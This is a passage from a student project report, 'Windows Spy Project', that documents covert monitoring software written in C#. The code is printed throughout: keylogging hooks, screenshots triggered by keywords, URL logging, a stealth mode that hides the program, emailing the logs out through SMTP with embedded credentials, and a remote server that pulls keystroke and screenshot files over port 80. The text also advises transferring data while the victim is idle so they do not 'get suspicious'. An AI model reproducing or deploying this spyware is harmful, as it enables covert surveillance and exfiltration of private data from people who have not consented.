if ((Current_URL.StartsWith("http://")) && (WinClassName.ToString() == "Edit")){…

(we check if it’s not the same URL as the last one before writing, because this means that the user clicked on something inside the URL, not accessing another one, so there is no need to log it.

48

Page 49: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Image RecorderOne of the software features is the option to obtain screenshots. In the next sections we'll describe how it is done.

Create a Screenshot

A screenshot in C# can be easily created in 4 rows:

i++;Image bit = new Bitmap( Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height);Graphics gs = Graphics.FromImage(bit);gs.CopyFromScreen(new Point(0, 0), new Point(0, 0), bit.Size);bit.Save(this.MediaPath + "//temp" + i.ToString() + ".jpg");

Firstly, we save a bitmap in the size of the screen, then we create a Graphics instance from that image (in order to restrain the size). The last stages are the copying and saving of the new image. The parameter i is saved to create several screenshots. This 5 lines are the entire function OnTimedEvent.

Time Intervals

One of the screenshots option is to create one every selected number of minutes defined by the user. To achieve that we used time event handling. The first thing to do is creating an instance of the timer:

public System.Timers.Timer aTimer;

Then we initialize the field Elapsed to a delegate pointing to the screenshots function described in the previous subchapter, then we choose the time interval to be whatever the user defined in minutes and lastly enabling the time intervals. Note that in case the user doesn't choose this option, the member intervals is set to -1 and the function does nothing:

Public void StartFilming(){ if (intervals != -1) { aTimer = new System.Timers.Timer(); aTimer.Elapsed += new ElapsedEventHandler(OnTimedEvent);

aTimer.Interval = intervals * 1000 * 60; aTimer.Enabled = true; }}

49

Page 50: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Dangerous Keystrokes

The second option of creating the screenshots is to trigger a screenshot by a dangerous keystroke. Whenever a user selected word is typed, the application creates a screenshot. From that logic it is quite obvious that the code for that option lies in the class that handles the keyboard interception. Thus, inside the callback function of the key hook lays the next piece of code:

if (((Keys)KeyStruct.vkCode).ToString() == "Space" || ((Keys)KeyStruct.vkCode).ToString() == "Return"){ if (dangerous_words_flag == true) { for (int i = 0; i < words_array.Length; i++) { if (word == words_array[i].ToUpper()) { take_picture(word, suffix[i]); suffix[i]++; word = ""; break; } }

} word = "";}

Thus, whenever the user presses "Space" or "Enter", all of the previous saved keystrokes are compared to the patterns entered by the user and if one of them is similar the screenshot is taken.

50

Page 51: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Timerthis options gives the user an options to set a specific time he wants the application to start recording, and an end-time (or “never”, if he wants the application not to stop at a pre-defined hour) for the application to stop recording. * This options doesn’t work with communicating with a server.The main idea behind implementing this options is that it calls the “start” function the same function that is called when pushing the “Start” button (which does the necessary checks, updates flags, retrievs necessary information from the GUI window lke current paths, and sets the hooks (their Booleans to true) that were chosen), in the time defined by the user.

The functions that sets the timer private void start_timer(){ System.Timers.Timer StartTimer = new System.Timers.Timer(); StartTimer.Elapsed += new ElapsedEventHandler(TimeToStart); StartTimer.Enabled = true; StartTimer.AutoReset = false; int interval; //tomorrow if (checkBox7.Checked == true) interval = CalcInterval("tomorrow", "start"); //today else interval = CalcInterval("today", "start"); StartTimer.Interval = interval; StartTimer.Start();}

The class Timer (in System.Timers) sets a new timer istance. The ElapsedEventHandler is the functions the will be called when the StartTimer.Interval expires (the variable is in miliseconds and simply calculated by the difference left from current time to the target time).

The TimeToStart function –

private void TimeToStart(object source, ElapsedEventArgs e){

//if end-time isn't "never", set the end timer if (checkBox8.Checked == false){

System.Timers.Timer EndTimer = new System.Timers.Timer();EndTimer.Elapsed += new ElapsedEventHandler(TimeToEnd);EndTimer.Enabled = true;

51

Page 52: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

EndTimer.AutoReset = false;

int interval = 0;

//this is the case it's "today" (because start and end happened the same dayif ((checkBox3.Checked == true && checkBox6.Checked == true) ||(checkBox4.Checked == true && checkBox7.Checked == true))

interval = CalcInterval("today", "end");//tomorrowelseinterval = CalcInterval("tomorrow", "end");

EndTimer.Interval = interval;EndTimer.Start();

}

//invoke the "start function"Program.form.Invoke(del);

}

This functions checks is an “end” time was defined. If so, in a similar way it defines a new timer to call the TimeToEnd functions when the interval time expires. is not, we call the “start” function which is poined by a the “del” delegate defined earlier, using the Invoke mechanism, because the TimeToStart isn’t running in the main thread as the start functions, and C# doesn’t allow simple cross threading calls for safety reasons.

52

Page 53: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

EmailIn any time, the user can ask to sent the 3 log files by email, to any address he wants to (both by the server and the client). This option is implemented in the SendMail class.

Creating the email message object –

MailMessage mail = new MailMessage();

Attachment att1;Attachment att2;Attachment att3;

NetworkCredential cred = new NetworkCredential("[email protected]", "WindowsSpy");

mail.To.Add(to);

mail.Subject = "Windows Spy Logs";

mail.From = new MailAddress("[email protected]");mail.IsBodyHtml = true;

the “to” parameter passed to the function is the target mail. The source mail is constant one, and is always sent from google gmail’s account – [email protected] have 3 attachments which we set to hold the 3 types of log files, if the exist, for example –

if (FileKeyCreated == true){

if ( File.Exists(Program.hook.Keyboard.KeyPath + "//FileKey.html") == true ){att1 = new Attachment(Program.hook.Keyboard.KeyPath + "//FileKey.html");mail.Attachments.Add(att1);}

}

Finally to send the mail –

SmtpClient smtp = new SmtpClient("smtp.gmail.com");smtp.UseDefaultCredentials = false;smtp.EnableSsl = true;smtp.Credentials = cred;smtp.Port = 587;smtp.Send(mail);

53

Page 54: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Stealth Mode & passwordA most important feature of our application is making the application hidden.The application can be hidden by checking the “Stealth” CheckBox in the main window, and also it is automatically goes hidden once you start a communication with the server.In the first option, the idea is that the user of the spy software approaches the monitored computer afterwards to view the logs, and he can then stop and return to the application’s main window by pressing a secret key combination, which brings up a password window. If he enters the correct password (which he also defined earlier, this is to prevent an accidental secret key combination pressed by the computer user that is being monitored) the application stops monitoring and the main screen appears again. How it is done –

The property field of the form that makes the application invisible/visible again is -

this.Visible

when set to false the application goes invisible (no icon tray as well).

this.Visible = false

We implement the secret key combination and the password window request this way– In the KeyHook class, each time a key is pressed, we compare this key to the current place in the secret combination string that is to be compared, and if they match we advance the string pointer (passlen) by 1. If there isn’t a match, we set the pointer to the beginning of the string, and start the comparison all over again.If we reached the end of the string then the correct secret key combination was pressed, and we bring to front the Form for password checking –

if ((Program.form.Visible == false)&&(Program.form.stealthmode == true) && UsbMode == false){

if (Program.form.KeyCombo[passlen].ToString().ToUpper() == ((Keys)KeyStruct.vkCode).ToString()){

passlen++;if (passlen == Program.form.PasswordClient.Length){

Program.EnterPass1.Visible = true;passlen = 0;

}}

elsepasslen = 0;}

54

Page 55: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

The password checking -

The class than handles it is PasswordEnter that inherits from Form.First of all, we prevent this form from being closed by the user in any way besides hitting the right password cancelling it’s closing in the form_closing event –

private void before_password_closing_event(object sender, FormClosingEventArgs e){

e.Cancel = true;}

Now, if the user clicks the “Enter Password” button, we compare the text he entered in this window, if there is a match, we make the main application interface visible, disable the hooks (we completely stop the monitoring and allow the user to define new settings for a new monitoring session), and make the password form invisible again. If the password is incorrect we print a message on screen.

private void PassOk_Click(object sender, EventArgs e){

if (this.textBox1.Text == Program.form.PasswordClient){

Program.form.EnableRemoteStealth();

Program.form.Visible = true;Program.hook.Disable();Program.EnterPass1.Visible = false;Program.EnterPass1.textBox1.Text = "";

}else

MessageBox.Show("Access Denied"); }

55

Page 56: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Server Communication implementation

The Client SideThe communication with the server is done once the user chooses to connect to one such in a given IP address or name in the "Remoting" tab. When the button is clicked, the form becomes invisible, a different thread is opened to deal with the communication with the server and the control goes to the server.

...this.Visible = false;Program.NetworkThread = new Networking();Thread thread = new Thread(new ThreadStart(Program.NetworkThread.ListnerFunc));thread.Start();...

The thread is set to the function ListnerFunc in the class Networking. The function mentioned handles the requests (usually file transfer requests) sent by the server. The implementation is actually a big switch, for each different message sent by the server.

StreamReader sr = new StreamReader(Program.s);...while (NetMessage != "End" ){ NetMessage = sr.ReadLine(); ... switch (NetMessage) { case "SendStatus": ...

case "Disable": ...

case "Enable": ... case "SendKeyFile": ...

case "SendMouseFile": ...

case "SendURLFile": ...

case "SendPicture": ... } }

Each of the requests is handled individually. It is worth mentioning that the client opens the socket through port 80 (http) for security reasons.

56

Page 57: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

The Server SideWhen first initialize, the server's form is not loaded, the server is merely waiting for a request from a remote client. Once such a request is sent the form is loaded and the control on the client can be handled from the form.

string name = Dns.GetHostName();IPAddress[] addr = Dns.GetHostEntry(name).AddressList;...TcpListener listener = new TcpListener(IPAddress.Any, 80);listener.Start();soc = listener.AcceptSocket();...Application.Run(new Form1());

It can be seen that a socket is opened and for each button pressed in the form a message is sent through that socket.

57

Page 58: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

File transferring

One of the main and most useful features of the server is the options of getting the log files that were created on the client side (our main application).We first explain how we transfer a simple string from the client to the server:

The definitions made on the server side:

TcpListener listener = new TcpListener(IPAddress.Any, 80);

listener.Start();

soc = listener.AcceptSocket();

s = new NetworkStream(soc);sw = new StreamWriter(s);sr = new StreamReader(s);

sw.AutoFlush = true;

The first line creates an instance of the TcpListner, which listens on port 80 for a connection (the next lines aren’t executed until a connection is created).After the client makes a connection, the server defines the socket for the communication, and defines a reader “sr” to read messages from the client, and a writer “sw” to send messages to the client (the “Ack”s messages is we will see later, and the requests for sending data).

The definitions made on the client side:

public static TcpClient client;public static NetworkStream s;

Program.client = new TcpClient(name_text.ToString(), 80);Program.s = Program.client.GetStream();

Or, if you choose to connect with an ip number, these lines are the relevent ones (instead of the last 2) – Program.client = new TcpClient();Program.client.Connect(ip_text, 80);Program.s = Program.client.GetStream();

Now, we will look at a simple example of sending a string from the client to the server:

58

Page 59: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

On the server side:

We first prepare these data types

byte[] bytes;int num;string rece;

bytes – will hold the bytes array of data we receive from the client.num – the array’s size.rece – the string that was received.

Then we wait (“buisy wait”) for information appearing on the socket by the client:

while (Program.soc.Available == 0){ }

After the data is passed to the socket, the server reads it:

num = Program.soc.Available;bytes = new byte[num];Program.soc.Receive(bytes, 0, num, SocketFlags.None);String exists = System.Text.Encoding.ASCII.GetString(bytes);

After these lines are executed, the “exists” string holds the string transferred (and the bytes array hold the same information in a simple binary form, in bytes).

On the client side, the information sending is done the following way – (assume that the string we want to transfer is in the “ise” variable), “client” is defined as -

public static TcpClient client;

And the code for sending is -

NetworkStream nts = Program.client.GetStream(); Byte[] sends;

string to_send = ise.ToString();sends = System.Text.Encoding.ASCII.GetBytes(to_send.ToCharArray());nts.Write(sends, 0, sends.Length);nts.Flush();

After each data transfer, the client waits for the string “Ack” do be sent from the server, meaning that the data was received and it is now safe to put new data on the socket.

59

Page 60: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

This is done simply like this:

The client:

NetworkStream nts = Program.client.GetStream();StreamReader srrr = new StreamReader(nts);while (srrr.ReadLine() != "Ack"){ }

The server:

Program.sw.WriteLine("Ack");

The protocol of sending a file to the server:An important thing to take notice of, that the maximum amount of data that can be transferred on a socket each time is 8192 bytes. Thus, what we do is breake the file to “packets” of 8192 bytes and send each packet (like we sent the string, only now it’s bytes) separately (and that the remainder of the file. And finally we reconstruct the file on the server side and get the original file. The code is the following:

First, the server breaks down the file into pieces of 8192, and sends the size fo the file to the server, so he would know how many pieces he should expect:myDataBuffer is the bytes array the dols the file bytes that we want to send.

int size = myDataBuffer.Length;int parts = (int)(size / 8192);int remainder = size % 8192;

//send the sizeto_send = size.ToString();

sends = System.Text.Encoding.ASCII.GetBytes(to_send.ToCharArray());nts.Write(sends, 0, sends.Length);nts.Flush();while (srrr.ReadLine() != "Ack"){ }

The server accepts this string:

//recieve sizewhile (Program.soc.Available == 0){ }

num = Program.soc.Available;bytes = new byte[num];Program.soc.Receive(bytes, 0, num, SocketFlags.None);rece = System.Text.Encoding.ASCII.GetString(bytes); int size = int.Parse(rece);int parts = (int)(size / 8192);int reminder = size % 8192;

Program.sw.WriteLine("Ack");

60

Page 61: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Now, the client sends all the 8192 bytes-sized packets to the server, he uses the MemoryStream to first store there the correct part of the entire file buffer, and then reads from this stream back to an array of bytes, and sends them –

for (int i = 0; i < parts; i++){

ms = new MemoryStream(myDataBuffer, i * MAXLENGTH, MAXLENGTH);ms.Read(packet, 0, MAXLENGTH); /*********************************************************/

if (nts.CanWrite){

nts.Write(packet, 0, MAXLENGTH);//flush to stream nts.Flush();

}while (srrr.ReadLine() != "Ack"){ }

}

And on the server side, he accepts the packets as we’ve seen, and each packet we receive, we use the MemoryStream calls to put the data in the memory, and then insert it to it’s correct place in the html_file array, the array that holds the incoming file bytes.

for (int i = 0; i < parts; i++){

while (Program.soc.Available < 8192){ }

//recieve the current socketProgram.soc.Receive(packet, 0, 8192, SocketFlags.None);

/*save the recieved array into a memorystream * and the insert it into the array that will hold* the entire picture, at the right spot */ms = new MemoryStream(packet, 0, 8192);ms.Read(html_file, i * 8192, 8192);

Program.sw.WriteLine("Ack");}

Finally, the client sends the remained bytes (the file isn’t divided by 8192) :

int REMAINDER = remainder;packet = new byte[REMAINDER];ms = new MemoryStream(myDataBuffer, parts * MAXLENGTH, REMAINDER);ms.Read(packet, 0, REMAINDER);

61

Page 62: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

if (nts.CanWrite){

nts.Write(packet, 0, REMAINDER);//flush to stream nts.Flush();

}

The server accepts it:

//recieve the remainder while (Program.soc.Available < reminder){ }

Program.soc.Receive(packet, 0, reminder, SocketFlags.None);

ms = new MemoryStream(packet, 0, reminder);ms.Read(html_file, parts * 8192, reminder);

and the file transfer is done, all that is left is to convert to the html file on the server side from the html_file array.

62

Page 63: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Picture transferring

Before reading this chapter it is advised to review the chapter about file transferring since it uses very similar technique, and code.The client iterates on all the jpeg files that exist in the folder (the folder that the snapshots are saved in), and sends each picture to the server.First, it turns the picture into a byte array, and then sends the size of this array to the server.Sending a picture is very similar to sending a file, we send each 8192 bytes of the picture array separately (and the remainder at the end), and the server saves each part in it’s correct location in another byte array (of that size that the client sent to it earlier). At the end the server constructs the picture back to a jpeg format. The code:

When the client receives a message to send pictures – It first gets the pictures’ names

string[] fileEntries = Directory.GetFiles(Program.hook.Media.MediaPath, "*.jpg");

Then, if this array isn’t empty (which means that there are no pictures present to be sent, in that case the client sends the server a message about it), the client runs a loop for each picture:

foreach (string img in fileEntries)

In the loop:

The client first converts the jpeg into an array of bytes, jpegArray:

FileStream fs = File.OpenRead(img);byte[] jpegArray = new byte[fs.Length];fs.Read(jpegArray, 0, (int)fs.Length);fs.Close();

As usual sends the size (and name of the picture, because in case of dangerous words it is important to know on which word was the picture taken, so this way the server can save the picture with the same way) of the array to the server:

//send name+size

63

Page 64: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

int size = jpegArray.Length;int parts = (int)(size / 8192);int remainder = size % 8192;to_send = img.ToString() + "+" + size.ToString();

sends = System.Text.Encoding.ASCII.GetBytes(to_send.ToCharArray());nts.Write(sends, 0, sends.Length);nts.Flush();while (srrr.ReadLine() != "Ack"){ }

The server recieves this, and creates an array to hold the bytes of the picture (each 8192 packet will go to it’s right place in that array, as in the files transfer idea)

(The string rece that is accepted, contains size+name of the picture)

while (Program.soc.Available == 0){ }

num = Program.soc.Available;bytes = new byte[num];Program.soc.Receive(bytes, 0, num, SocketFlags.None);rece = System.Text.Encoding.ASCII.GetString(bytes);

string[] temp_str = rece.Split('+');rece = temp_str[0];int size = int.Parse(temp_str[1]);

int parts = (int)(size / 8192);int reminder = size % 8192;

Program.sw.WriteLine("Ack");

Now the client sends the parts of the picture to the server, the same way that we saw in the file transfer

MemoryStream ms;byte[] LittlePic = new byte[MAXLENGTH];for (int i = 0; i < parts; i++){

ms = new MemoryStream(jpegArray, i * MAXLENGTH, MAXLENGTH);ms.Read(LittlePic, 0, MAXLENGTH); if (nts.CanWrite){

nts.Write(LittlePic, 0, MAXLENGTH);//flush to stream nts.Flush();

}while (srrr.ReadLine() != "Ack"){ }

}

The server accepts the packets:

for (int i = 0; i < parts; i++){

64

Page 65: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

while (Program.soc.Available < 8192){ }Program.soc.Receive(jpegArray, 0, 8192, SocketFlags.None);ms = new MemoryStream(jpegArray, 0, 8192);ms.Read(fullImage, i * 8192, 8192);Program.sw.WriteLine("Ack");

}

Then the client sends the remainder and the server accepts it in the exact same way we saw in the case of the file transfer.

Finally, now that the server accepted the entire bytes of the picture, he saves it as a jpeg file (with the name that he received from the client earlier):

MemoryStream msss = new MemoryStream(fullImage, 0, size);Bitmap bmp = (Bitmap)System.Drawing.Bitmap.FromStream(msss);

string[] names = rece.Split('\\');string name = names[names.Length - 1];bmp.Save(textBox4.Text + "\\" + name);

And a single picture transfer is complete.As we recall, the clisnt sends the pictures foreach jpeg he found in the directory, at the end, he sends the server the string “EndTransfer+0”, to tell that there are no more pictures to send, so the server runs in the same loop as long as the string isn’t this one (instead it’s the picture name + it’s size each time) –

while (rece != "EndTransfer")

65

Page 66: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Get StatusThe GetStatus option enables the user sitting on the server side to get information wheather the user of the monitored computer is using it, or not. i.e if the monitored side user presses keys or clicks on the mouse during the last 10 seconds, then when we will press the GetStatus button on the server, the string “Buisy” will appear, and if the monitored user is away for some reason, the keys or mouse are inactive, so the GetStatus button will display us the “Idle” string. This is a nice feature designed to let us know wheather there is someone using the computer or not, and also allows us to select the time to ask for file transfers or sending the files to our email. So if we prefer to request file sending when the user is away, to guaranty that he wouldn’t feel that the system is doing anything he didn’t instruct it to, thus might get suspicious.

The idea behind this is to hold a boolena variable on the client program, according to it the client will send the appropriate message to the server (Idle/Buisy). Each time a key is pressed or the mouse is clicked that variable is set to false, and a timer is nullified. If the timer reaches 6 seconds time (wasn’t nullified by then) then the variable is set to true, indicating the “Idle” status.

The implementaiotn:

This is the sending part. It uses the same code like transfering a simple string as we saw in the filetransfer chapter.

case "SendStatus":

string s;if (Program.TimeState == false) s = "busy";else s = "idle";

NetworkStream n = Program.client.GetStream();byte[] arr = System.Text.Encoding.ASCII.GetBytes(s.ToCharArray());n.Write(arr, 0, arr.Length);n.Flush();break;

66

Page 67: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

The server side here is a simple code as well (explained in the transfer files chapter) He sends the client a request for sending the status, then waits for the data to appear in the soxket, and then reads it as usual :

private void button5_Click(object sender, EventArgs e){

Program.sw.WriteLine("SendStatus");while (Program.soc.Available < 4){ }int num = Program.soc.Available;

byte[] bytes = new byte[num];Program.soc.Receive(bytes, 0, num, SocketFlags.None);string rece = System.Text.Encoding.ASCII.GetString(bytes);

if (rece == "busy") label9.Text = "Busy";else label9.Text = "Idle";

}

The update of the boolean variaeble TimeState is done the following way –

First of all, it is set to false as soon as we enter the hook handeling function of the keyboard or the mouse, as explained earlier.Then, the timer is initialized (by instantiating a new one) again to 6 seconds:

Program.TimeState = false;Program.hook.counter.Dispose();Program.hook.counter = new System.Timers.Timer();Program.hook.counter.Elapsed += new ElapsedEventHandler(Program.hook.change_status);

Program.hook.counter.Interval = 6000;Program.hook.counter.Enabled = true;

(this timer is initially instantiated in the cinstructor of MainHook as soon as the program starts to run).

If 6 seconds interval passes we enter the “change_status” event which sets the variablr to “true” (=Idle).

public void change_status(object source, ElapsedEventArgs e){

Program.TimeState = true;}

67

Page 68: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Enable/disable

Enable/Disable buttons of the server give us the option to unset the monitoring options and set them back as soon as needed.

- Enable:

In case of Enable, the client runs the “run_start” function (that simulates the Start button).But, an interesting problem occurs in trying to call that function. An Exception is thrown if we try to directly call this function, that says :” Cross-thread operation not valid…”That is, C# doesn’t allow us to call a function that changes definitions in the main thread of the program. The commands that come from the server are dealt in a separate thread, so we can’t call a function from the main thread of the program. For that purpose we used the Invoke mechanism:if you use multithreading to improve the performance your Windows Forms applications, you must be careful to make calls to your controls in a thread-safe way.Access to Windows Forms controls is not inherently thread safe. If you have two or more threads manipulating the state of a control, it is possible to force the control into an inconsistent state. Other thread-related bugs are possible as well, including race conditions and deadlocks. It is important to ensure that access to your controls is done in a thread-safe way.To make a thread-safe call a Windows Forms control we should use the form’s invoke method.Control.Invoke Method Executes the specified delegate on the thread that owns the control's underlying window handle.

68

Page 69: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

So, we call the run_start function this way –

We define:

private delegate void DlgActivate();DlgActivate OnActivate;OnActivate = new DlgActivate(Program.form.run_start);

And then

Program.form.Invoke(OnActivate);

- Disable:

In case of disable, the client calls to Program.hook.Disable();

public void Disable(){

Program.hook.Keyboard.dangerous_words_flag = false;Keyboard.Disable();Mouse.Disable();Media.StopFilming();

}

The Disables of the mouse and key call to UnhookWindowsHookEx.And StopFilming stops the perminant-intervals snapshots (dangerous keys snapshots is disabled in the first line here).This way all the monitoring options are disabeled (the URL isn’t active without keyboard or mouse hooks).

69

Page 70: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Design

Client Class Diagram

70

Page 71: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Client Class Diagram Overview

Program:The main class of the application is Program. From there, we saved instances of the classes: From1, PasswordEnter and MainHook. From this class we run the main client form and initiate the hook.

MainSpyForm: As a form, it derives from the class Form. This is the main form of the application. This class uses the static methods of the classes SendMail and Networking.

PasswordEnter: As a form, it derives from the class Form. This is the form from which a password must be entered to exit stealth mode.

MainHook:This is the class of all of the different hooks and monitoring in the application, it's members are instances of: MediaHook, URLHook, KeyHook, MouseHook.

Media Hook: This class creates screenshots.

URLHook: This class captures visited websites through internet explorer. It uses static methods from the class win32API.

KeyHook: A class to capture keystrokes and saving them to a log file. It uses static methods from the class win32API and derives from RootHook.

MouseHook: A class to capture mouse clicks and saving their location to a log file. It uses static methods from the class win32API and derives from RootHook.

RootHook: Saves constants and methods used in different hook types.

71

Page 72: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Server Class Diagram

Server Class Diagram OverviewThe main class of the application is Program, from here we initiate the form of the application. MainSpyServerForm:The form of the spy server application. As a form it derives form the class form.

72

Page 73: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

File Transfer Sequence Diagram

73

Page 74: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

File Transfer Sequence Diagram Overview When the server requests from the client to send a file, it sends a message "FileTransfer" to the client. In return the client send a message stating the status of the file (i.e. exists or not), in case of existence, the client sends the "exists" message and waits from an "Ack" message from the server. As stated earlier in previous chapters (see file transfer), the client sends fragments of bytes, and then waits to the acknowledgement of the server, this is done for each fragment of data until the end of the file. There is a special case, in which we send multiple images to the server, in which a message "End" meaning the end of transmission should be sent to the server.

74

Page 75: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Image Transfer Sequence Diagram

75

Page 76: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

Image Transfer Sequence Diagram Overview

By contrast to file transfer protocol, we send several images to the server. In order to do so we send for each image the size in bytes to the server, and then transmitting the image fragments. This operation will repeat itself for each image, until all of the images have been sent. When the prior happens we transmit from the client a message called "EndTransfer".

Single Command Sequence Diagram

Single Command Sequence Diagram Overview

When the server requests a command from the client, it transmits a message to the client. If the request was "Get Status", the client sends its status. Otherwise the client sends nothing.

76

Page 77: Windows Spy Project - Technionsoftlab-pro-web.technion.ac.il/Projects/2007Winter... · Web viewMicrosoft .NET supports not only language independence, but also language integration

Windows Spy ProjectSoftware System Lab, Department of Electrical EngineeringTechnion 2008

77